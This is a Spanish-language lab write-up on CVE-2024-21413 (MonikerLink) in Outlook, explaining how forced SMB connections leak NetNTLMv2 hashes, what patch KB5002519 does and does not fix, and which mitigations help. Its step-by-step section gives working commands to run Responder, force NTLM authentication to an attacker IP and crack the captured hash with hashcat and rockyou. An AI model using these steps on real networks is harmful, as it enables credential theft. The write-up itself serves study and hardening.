Laboratorio SMB + Responder (CVE-2024-21413)

🎯 Objetivo

Este proyecto tuvo como objetivo estudiar la vulnerabilidad CVE-2024-21413 (MonikerLink), explorando cómo el protocolo SMB/NTLM puede ser abusado para captura de credenciales.
Incluso después de la corrección oficial de Microsoft, el laboratorio muestra que el concepto sigue siendo válido en escenarios internos.

📖 Exploit Theory

La vulnerabilidad (CVE-2024-21413), conocida como MonikerLink, fue clasificada como crítica (CVSS 9.8). Ocurre porque Outlook procesaba enlaces "file://" de forma insegura, utilizando APIs antiguas de COM (Moniker Objects). Estos objetos permitían que Outlook llamara a recursos externos sin pasar por la Protected View, induciendo al cliente a iniciar conexiones SMB automáticamente.

1. ¿Qué es Moniker Link?

Es una característica de Windows que permite referenciar objetos COM mediante enlaces especiales.

2. Cómo Outlook procesaba file://

El exploit original abusaba de enlaces "file://" o rutas UNC enviados por correo electrónico.

3. Cómo ocurría el bypass con "!"

Al agregar el carácter "!" en el enlace, era posible sortear protecciones internas de Outlook, forzando la apertura directa del recurso externo.

4. Cómo se exponía NTLM

Esto resultaba en autenticación NTLM automática, exponiendo hashes NetNTLMv2 al atacante sin interacción significativa del usuario.

5. ¿Qué corrige el parche?

El parche KB5002519 bloquea específicamente este comportamiento en Outlook, impidiendo que los enlaces "file://" se procesen de esta manera.

6. ¿Qué NO corrige el parche?

Sin embargo, el NTLM automático de Windows sigue funcionando fuera del contexto de Outlook, es decir, cualquier intento de acceder a recursos SMB en un entorno donde NTLM esté habilitado y no haya restricciones de autenticación aún puede generar el envío automático de hashes.

📌 Relación entre Outlook, SMB/NTLM y Responder Exploit original: mediante spam de correo electrónico con enlace malicioso → Outlook procesaba → NTLM autenticaba automáticamente → atacante recibía hash.

Laboratorio interno: simulamos solo la parte conceptual → forzamos manualmente la conexión SMB → Responder capturó el hash → Hashcat realizó el cracking.

¿Por qué sigue funcionando? Porque NTLM es un protocolo heredado que autentica automáticamente en conexiones SMB, independientemente de Outlook. El parche corrige el cliente Outlook, pero no elimina el comportamiento de NTLM en Windows

🏗️ Arquitectura del Lab

• Atacante: Kali Linux con Responder y Hashcat.
• Víctima: Windows con Outlook instalado.
• Red: LAN simulada, sin exposición externa.
• Herramientas:
  • Responder → para envenenamiento de protocolos y captura de hashes.
  • Hashcat → para cracking offline de los hashes capturados.

🛡️ Parche de Outlook

Durante las pruebas, Outlook bloqueó enlaces file:// provenientes de correo electrónico, mostrando alerta de seguridad:

Observación

El parche KB5002519, lanzado en febrero de 2024, mitiga el vector externo vía correo electrónico al bloquear enlaces file://.
No obstante, el protocolo NTLM sigue permitiendo la autenticación automática en conexiones SMB.
Esto significa que, aunque Outlook esté protegido contra este exploit específico, la superficie de ataque interna sigue siendo válida.
La raíz del problema está en la dependencia de NTLM como mecanismo de autenticación, que continúa siendo susceptible a la captura de hashes en conexiones SMB.

📊 Métricas de riesgo

• CVE: CVE-2024-21413
• CVSS: 9.8 (Crítico)
• Impacto: RCE + fuga de credenciales
• Vector: Externo (Outlook) e Interno (SMB/NTLM)
• Mitigación recomendada:
  • Aplicar parche KB5002519.
  • Deshabilitar NTLM donde sea posible.
  • Forzar Kerberos en entornos AD.
  • Implementar MFA y contraseñas fuertes.

📚 Aprendizajes

1. El parche de Outlook bloquea solo el clic en enlaces externos.
2. SMB/NTLM sigue siendo una superficie de ataque dentro de la red.
3. Los hashes NetNTLMv2 pueden ser capturados y rotos offline.
4. Las contraseñas débiles se descubren fácilmente en wordlists comunes.
5. Incluso con la corrección oficial, la vulnerabilidad mantiene relevancia en escenarios internos.

📌 Paso a paso

1. Iniciar Responder Aquí iniciamos Responder en la interfaz de red del Kali. Actúa como un servidor SMB falso, listo para responder a las solicitudes de la víctima y capturar credenciales NTLM. Este paso es esencial para preparar el entorno de envenenamiento de protocolos e interceptación. Comando en Kali Linux:

sudo responder -I eth0

2. Forzar comunicación SMB
   En Windows, accedemos manualmente a un recurso SMB apuntando a la IP del atacante. Este acceso fuerza al cliente Windows a intentar autenticarse automáticamente mediante NTLM, enviando el hash al servidor falso (Responder). Es en este momento que ocurre la exposición inicial de las credenciales. Podemos forzar la comunicación SMB de dos formas:

Mediante el Explorador, accediendo manualmente a:

\\<IP del atacante>\test.

Mediante terminal (cmd o PowerShell), usando el comando:

net use \\<IP del atacante>\test

3. Captura de hash
   Responder intercepta el intento de autenticación y guarda el hash NTLMv2 en un archivo de log dentro de /usr/share/responder/logs/. Ese archivo contiene el material bruto que se usará para el cracking. Aquí evidenciamos la vulnerabilidad: aunque no se tenga la contraseña en texto claro, el hash puede ser capturado y reutilizado.

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

4. Cracking con Hashcat
   Antes de ejecutar Hashcat, copiamos el hash del log a un archivo en nuestra home (~/hash.txt). Esto facilita la manipulación y garantiza que Hashcat tenga acceso directo al contenido. Luego, ejecutamos Hashcat en modo 5600 (NetNTLMv2) con la wordlist rockyou.txt. Este proceso intenta romper el hash offline, demostrando cómo las contraseñas débiles pueden ser descubiertas rápidamente. El resultado muestra si se encontró la contraseña, evidenciando el riesgo real de la vulnerabilidad.

hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt

Nota:
La contraseña real no se muestra por razones de seguridad. El objetivo es demostrar el proceso y la vulnerabilidad.

✅ Conclusión

Este laboratorio evidenció que:

• El exploit vía Outlook fue bloqueado por el parche.
• Aún así, es posible capturar y romper hashes SMB manualmente.
• La vulnerabilidad sigue siendo válida como concepto, reforzando la importancia de hardening interno, contraseñas fuertes y migración a Kerberos/autenticación basada en tokens.